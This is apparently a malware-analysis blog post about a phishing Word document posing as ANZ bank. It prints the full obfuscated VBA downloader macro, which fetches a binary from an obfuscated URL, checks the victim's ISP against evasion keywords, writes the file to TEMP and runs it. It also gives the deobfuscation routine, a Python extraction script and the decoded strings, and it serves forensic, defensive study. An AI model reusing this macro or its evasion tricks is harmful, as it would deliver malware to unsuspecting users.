Yesterday one of the mail admin’s at work forwarded me a message to take a look at. It was perpetuating to be from ANZ bank, suggesting a payment was due but macro’s should be enabled to view the document. It’s a pretty standard social engineering vector:

Obviously, this isn’t true. However, compared to other documents I’ve sighted recently a fair amount of effort has gone into this one, and there may have been some thought as to what bank the recipient may use. The other campaigns just seemed to indiscriminately select a bank – even one who didn’t operate in the location of the target. The document, as could be expected, has a macro attached to it that’s used to pull down malware from the internet. Heavy use of CallByName in conjunction with obfuscated strings and the banking vector would suggest it could be used to distribute Dridex, however there’s any possibility it could also be Locky. Unfortunately, by the time I had deobfuscated the contents of the macro the binary looks to have been removed from it’s host (I’ve put the feelers out on Twitter to see if anyone did) – but the process of deciphering the script to obtain the location for possible future incidents is still worth looking at.

To begin with I ran the document through my local Cuckoo sandbox, only to see a call out to MaxMind – nothing overly concerning… but with a couple of AV hits I felt there was more to the document than what there appeared to be. I used olevba to extract the macro from the document and attempt to deobfuscate it, but to no avail. This still left me with the raw script, as follows:

Public Sub Document_Close()
On Error GoTo bDWGE
Exit Sub
End Sub
Public Sub MmzLzRj()
Dim IXavl As String
Dim ewNsHQ As String
Set eFGgBi = CallByName(ThisDocument, s(15, "oincAaptpil", 68), 2)
If CallByName(eFGgBi, s(28, "NresUema", 47), 2) = s(74, "BUPSPSW", 34) Then ReMbQDO (s(86, "drBsm naeeua", 53))
If CallByName(CallByName(eFGgBi, s(64, "iteeslFncRe", 115), 2), s(51, "oCtnu", 54), 2) = 400 Then ReMbQDO (s(187, "cIdC t eno dstaPraleas'", 37))
IXavl = CallByName(myBYc, s(121, "eRtxeTesnops", 107), 2)
For Each KOfXrP In cNZSLEL
If InStr(LCase(IXavl), LCase(KOfXrP))  0 Then ReMbQDO (s(50, "P BSd:Ia", 61) & KOfXrP)
CallByName myBYc, s(14, "epOn", 11), 1, s(13, "EGT", 11), s(86, "ot/etperparcaech/tu/a/.:mpotct.hgnniibk.g6n1iencaieflfc", 328), False
CallByName myBYc, s(138, "eesqtratuRSdHeee", 165), 1, s(27, "egA-resUtn", 29), s(260, "b0srM e0Ndzc   nlmSi./aaEd;.5i1wT)0l. io(;;TeioMW6tlpIn16/t o 0.", 419)
CallByName myBYc, s(29, "eSdn", 27), 1
If CallByName(myBYc, s(57, "tatSsu", 65), 2) >= 400 Then ReMbQDO (s(228, "fnaoniadw'lr nteybl C ioda", 135))
Set NKJPLQ = CallByName(onxsDlv(s(33, "reilpltW.SSch", 67)), s(108, "nnnrmtvoeEi", 81), 2, s(61, "SECORPS", 41))
ewNsHQ = NKJPLQ(s(42, "METP", 15)) & CallByName(eFGgBi, s(79, "ePrhopaaSratt", 44), 2) & s(92, "67pmtpmt.79", 76)
Set kKsxcK = onxsDlv(s(18, "S.BDODAmaert", 47))
CallByName kKsxcK, s(38, "pyTe", 11), 4, 1
CallByName kKsxcK, s(14, "epOn", 11), 1
CallByName kKsxcK, gqCurk, 1, CallByName(myBYc, rZYmG, 2)
aqPBLYZ CallByName(kKsxcK, s(48, "TaloveFeSi", 73), 1, ewNsHQ, 2)
aqPBLYZ CallByName(kKsxcK, s(21, "lCeso", 9), 1)
aqPBLYZ CallByName(onxsDlv(s(33, "reilpltW.SSch", 67)), s(29, "xEce", 35), 1, ewNsHQ)
End Sub
Public Function gqCurk() As String
gqCurk = s(13, "ertWi", 28)
End Function
Public Function rZYmG() As String
rZYmG = s(125, "eBpdnResooys", 127)
End Function
Public Sub aqPBLYZ(ByVal sSrShgY)
End Sub
Public Function cNZSLEL()
cNZSLEL = irDSq(Array(s(50, "AMANOZ", 59), s(80, "MNOOUNSYA", 38), s(80, "DTIBREDNEFE", 98), s(17, "TAOC EULB", 80), s(116, "MTY CISESSOSC", 136), _
s(47, "REVRES", 65), s(61, "OC OSILHTNTEONEGRSG", 63), s(57, "O TMRIECNRD", 13), s(30, "SWVTUTAER", 14), s(92, "RNHEATMCRAIO ", 36), _
s(41, "EYEERIF", 69), s(13, "TOCFIEONPR", 103), s(41, "NFTEOITR", 43), s(37, "ZEHTNRE", 39), s(9, "TSOHDE", 35), s(8, "SHNTOGI", 73), _
s(46, "ABEEESLW", 61), s(80, "SIOCFRTOM", 47), s(19, "FNECRO", 11), s(47, "SHAVSO ", 54), s(35, "POTOOPIFRN", 63), s(77, "YRETUSIC", 37), _
s(23, "DLUCO", 43), s(120, "NARETECAT D", 41), s(47, "RTEEACTDAN", 67), s(102, "NADTCARETE", 73), s(25, "AIEDTCDDE", 13), s(91, "TEP,SO ELS", 33), _
s(79, "KPRAAMELOOTBKCUSC", 47), s(71, "ESICTMAM", 83), s(12, "DCTNIOEMRR", 67)))
End Function
Public Sub ReMbQDO(ByVal neDGqCu As String)
Err.Raise Number:=3, Description:=neDGqCu
End Sub
Public Function s(ByVal sqLlcOv As Integer, ByVal acFoUi As String, ByVal oFjDZs As Integer) As String
On Error Resume Next
ReMbQDO acFoUi
s = XWrbhlC(sqLlcOv, Err.Description, oFjDZs)
End Function
Public Function XWrbhlC(ByVal sqLlcOv As Integer, ByVal acFoUi As String, ByVal oFjDZs As Integer) As String
Dim svcRPz As Integer
svcRPz = svzALG(sqLlcOv, Len(acFoUi))
Do While Len(XWrbhlC) < Len(acFoUi)
XWrbhlC = XWrbhlC & AqahQo(acFoUi, svcRPz)
svcRPz = svzALG((svcRPz + oFjDZs), Len(acFoUi))
End Function
Public Function onxsDlv(ByVal YpNHGuF As String)
Set onxsDlv = RXtRwED(CreateObject(YpNHGuF, ""))
End Function
Public Function RXtRwED(ByVal TIGGsNp As Object)
End Function
Public Function AqahQo(ByVal jVEtyNX As String, ByVal svcRPz As Integer) As String
AqahQo = Right(irDSq(Left(jVEtyNX, svcRPz + 1)), 1)
End Function
Public Function svzALG(ByVal zkOwqg As Integer, ByVal VBbeFnj As Integer) As Integer
svzALG = zkOwqg - (VBbeFnj * (zkOwqg \ VBbeFnj))
End Function
Public Function irDSq(ByVal AUCQT)
End Function

This isn’t your standard obfuscation which is perhaps why olevba failed to make more sense of it.

Looking at the script as a whole, it appears that ‘myBYc’ is being invoked as a function in a number of places. It is also defined near the top of the main sub as:

Set myBYc = onxsDlv(s(70, “sHtttt.tp5pR..e1WqWiuinenH”, 81))

The function ‘onxsDlv’ creates an object of the type inputted to the function as a string. So, whatever the result of the ‘s’ deobfuscation function is will be the type of object created. There are also two other objects: ‘kKsxcK’ and ‘NKJPLQ’.

Stepping back through the code, stripping out any unnecessarily separated functions (i.e. all of them) and doing a bit of simple find and replace to stitch everything together nets the following and is what is used to deobfuscate the strings:

Sub Main()
    MsgBox s(##, "abc", ##)
End Sub
Public Function s(ByVal i1 As Integer, ByVal obf As String, ByVal i2 As Integer) As String
    Dim i3 As Integer
    On Error Resume Next
    Err.Raise Number:=3, Description:=obf
    obfErr = Err.Description
    i3 = i1 - (Len(obfErr) * (i1 \ Len(obfErr)))
    Do While Len(s) < Len(obfErr)
        s = s & Right(Left(obfErr, i3 + 1), 1)
        i3 = (i3 + i2) - (Len(obfErr) * ((i3 + i2) \ Len(obfErr)))
End Function

Slimmed down like this, it’s pretty clear exactly how the obfuscation operates. There’s no fancy encryption – simply XOR.

However, for the above to make sense of the original script you’d need to pull out each call to the ‘s’ function, and this would be incredibly time consuming and tedious. So, a quick and dirty Python script can be used to crawl through the script and use regex to automate the task of extracting these calls – writing out VBScript that can be pasted into the ‘Main’ sub of the above script to deobfuscate all strings in the script:

import os
import re

fileName = 'D:\\analysis\\vba.txt'
outFile = 'D:\\analysis\\decoding.txt'
regex = re.compile('s\([0-9]+, "[^"]+", [0-9]+\)')

def flag_last(seq):
seq = iter(seq)
a = next(seq)
for b in seq:
yield a, False
a = b
yield a, True

output = []

with open(fileName) as f:
lines = f.readlines()
for line in lines:
matches = regex.findall(line)
if matches:
command = 'Selection.TypeText '
for match,is_last in flag_last(matches):
command += match
if not is_last:
command += ' + " " + '
command += '\n'

for line in output:
with open(outFile, "a") as f:

The output will be written to the document in which the macro is made.

This is what was outputted when the combined script was run:

UserName PSPUBWS Bad username
RecentFiles Count Bad history
Open GET
SetRequestHeader Referer
SetRequestHeader User-Agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)
Status Can't locate IP address
Bad ISP:
Open GET
SetRequestHeader User-Agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)
Status Can't download binary file
WScript.Shell Environment PROCESS
TEMP PathSeparator tmp7697.tmp
WScript.Shell Exec

Piecing this all together, the script can be seen to do the following:

  • Create a WinHTTP object.
  • Call out to MaxMind and find the victim ISP.
  • If the request returns a 400 status code, exit.
  • If the response contains a ‘bad’ keyword (ISP), exit.
  • Pull down the malicious binary.
  • If the request returns a 400 status code, exit.
  • Create a WScript.Shell object.
  • Use the shell to define an output location.
  • Create an ADODB.Stream object.
  • Write the downloaded binary to disk.
  • Execute the binary.

Remind me again why people enable the running of unsigned macro’s?


Whilst the exact method used to deobfuscate the script demonstrated here isn’t exactly applicable to every situation, the overall approach certainly is. For the script to work it must somehow unpack itself – just like also seen in my post ‘Held to Ransom‘. By working backwards, starting with the obfuscated data and stepping through the call stack, you can begin to piece together a means of unpacking it yourself – allowing you to make better sense of what the script is attempting to do, and giving you actionable intelligence… even if it’s (unfortunately) for post-mortem forensics.

analysis links

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s